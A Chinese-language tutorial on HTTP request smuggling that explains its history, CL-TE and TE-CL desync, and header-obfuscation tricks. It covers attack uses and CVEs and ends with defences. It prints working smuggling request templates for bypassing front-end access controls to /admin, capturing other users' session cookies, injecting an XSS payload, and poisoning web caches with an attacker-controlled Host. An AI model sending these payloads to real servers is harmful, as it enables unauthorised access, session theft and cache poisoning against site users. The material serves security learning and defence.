HTTP请求走私攻击(HTTP Smuggling)全面解析
1. 概述
HTTP请求走私(HTTP Smuggling)是一种利用前端服务器(如反向代理、CDN)和后端服务器对HTTP请求解析不一致的安全漏洞。攻击者通过构造特殊的HTTP请求,使前端和后端服务器对请求边界产生不同理解,从而"走私"恶意请求。
2. 历史演变
- 2004年:Amit Klein提出HTTP响应拆分(HTTP Response Splitting)技术,是HTTP走私的雏形
- 2005年:Watchfire首次提出HTTP请求走私(HTTP Request Smuggling)
- 2009年:Stefano di Paola和Luca Carettoni提出HTTP参数污染(HPP),一种特殊的HTTP走私
- 2016年:regilero在Defcon 24提出"Hiding Wookiees In Http"
- 2019年:James Kettle在Defcon 27提出"HTTP Desync Attacks"
3. 技术基础
3.1 HTTP连接模型
Keep-Alive
HTTP/1.1默认使用持久连接,允许在单个TCP连接上承载多个请求和响应,减少TCP握手开销。
Pipeline
客户端可以像流水线一样发送HTTP请求,而不需等待服务器响应。服务器需遵循先入先出机制处理请求。
3.2 消息体处理
Transfer-Encoding
主要用于安全传输二进制数据,在HTTP/1.1引入,HTTP/2取消。常见属性:
- chunked
- compress
- deflate
- gzip
- identity
分块传输(chunked)格式:
chunked-body = *chunk
last-chunk
trailer-part
CRLF
chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
示例:
4\r\n
Wiki\r\n
5\r\n
pedia\r\n
e\r\n
in\r\n\r\nchunks.\r\n
0\r\n
\r\n
4. 攻击原理
当前端代理服务器和后端源站服务器对HTTP请求解析处理不一致时,攻击者可在一个HTTP请求中"嵌入"另一个HTTP请求。
典型架构:
用户 -> 前端服务器(反向代理/CDN) -> 后端服务器
5. 攻击方法分类
5.1 CL-TE (前端:Content-Length优先, 后端:Transfer-Encoding优先)
示例:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
5.2 TE-CL (前端:Transfer-Encoding优先, 后端:Content-Length优先)
示例:
POST / HTTP/1.1
Host: example.com
Content-length: 4
Transfer-Encoding: chunked
12
GPOST / HTTP/1.1
0
5.3 分块传输异常
5.3.1 错误的分块传输
RFC规定当Transfer-Encoding包含非最终编码的chunked时应返回400错误,但可通过以下方式绕过:
Transfer-Encoding: xchunkedTransfer-Encoding : chunked(空格)Transfer-Encoding: chunked(制表符)Transfer-Encoding:[tab]chunked- 使用空字符等
5.3.2 块大小问题
利用中间件对块大小解析差异:
0000000000000000000000000000042\r\n
\r\n
GET /tmp/ HTTP/1.1\r\n
5.4 HTTP版本利用(HTTP/0.9)
HTTP/0.9请求和响应都没有headers概念,可利用这一特性:
GET /foo\r\n
5.5 GET请求中的Content-Length
RFC未严格规定服务器如何处理带body的GET请求,导致解析差异:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
5.6 重复头部字段
5.6.1 重复Content-Length
GET /suzann.html HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 0\r\n
Content-Length: 46\r\n
\r\n
GET /walter.html HTTP/1.1\r\n
Host: example.com\r\n
\r\n
5.6.2 重复Transfer-Encoding
POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Transfer-encoding: nothing
5.7 可选空格问题
RFC允许header字段名和冒号间有可选空格,但实现不一致:
Transfer-Encoding :
chunked
5.8 CRLF处理差异
RFC允许使用LF作为行终止符,忽略前面的CR:
Dummy: Header\rZTransfer-Encoding: chunked\r\n
6. 攻击面
6.1 绕过前端安全控制
通过走私请求访问被前端阻止的后端接口:
POST / HTTP/1.1
Host: example.com
Content-Length: 45
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
6.2 泄露前端重写规则
获取前端服务器添加的隐藏请求头:
- 找到将参数值输出到响应中的POST请求
- 将该参数放在消息最后
- 走私该请求并观察响应
6.3 捕获其他用户请求
通过评论等功能走私请求,捕获后续用户的请求和cookie:
POST / HTTP/1.1
Host: example.com
Content-Length: 271
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=attacker_session
6.4 利用反射型XSS
结合反射型XSS扩大攻击影响:
POST / HTTP/1.1
Host: example.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
6.5 将站内重定向转为开放重定向
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
6.6 Web缓存投毒
POST / HTTP/1.1
Host: example.com
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
6.7 Web缓存欺骗
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
7. 真实案例
7.1 PayPal漏洞
通过HTTP走私将登录JS文件投毒,最终实现同源策略绕过。
7.2 Apache Traffic Server (CVE-2018-8004)
利用超大header实现请求拆分:
GET /something.html?zorg2=5 HTTP/1.1
Host: example.com
X: "<65534s>"
GET http://example.com/index.html?replaced=0&cache=8 HTTP/1.1
7.3 Jetty漏洞
- CVE-2017-7656:HTTP/0.9处理不当
- CVE-2017-7657:块大小整数溢出
- CVE-2017-7658:重复Content-Length处理问题
7.4 WebSocket走私
利用WebSocket建立连接时的版本验证问题:
GET /socket.io/?EIO=3&transport=websocket HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 1338
Upgrade: websocket
7.5 Golang漏洞
header字段名与冒号间空格处理问题,已在1.13.1修复。
8. 防御措施
- 禁用代理与后端服务器间的TCP连接重用
- 使用HTTP/2协议:二进制分帧机制和请求多路复用可有效防止
- 前后端使用相同服务器
- 严格实现RFC7230-7235标准
- 规范化请求处理:
- 拒绝含非法字符的header
- 严格处理重复header
- 拒绝非标准分块编码
- 拒绝带body的GET请求
9. 实验环境
推荐使用docker环境进行学习和测试:
10. 总结
HTTP请求走私是一种危害严重且难以检测的攻击方式,利用不同服务器对HTTP协议实现的差异实施攻击。防御的关键在于严格遵循协议标准和保持前后端处理逻辑的一致性。随着HTTP/2的普及,这类攻击的影响将逐渐减小,但在过渡期仍需保持警惕。